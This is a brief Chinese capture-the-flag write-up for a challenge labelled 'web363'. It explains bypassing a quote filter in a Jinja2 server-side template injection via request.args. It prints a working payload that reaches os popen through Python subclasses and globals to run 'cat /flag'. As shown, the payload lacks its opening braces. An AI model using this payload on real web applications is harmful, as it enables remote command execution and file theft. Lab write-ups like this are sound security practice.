web363

进行子类查询发现被过滤，测试后发现是单双引号过滤

使用request绕过，使用request.args.key获取get传入的key值
payload
().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=cat /flag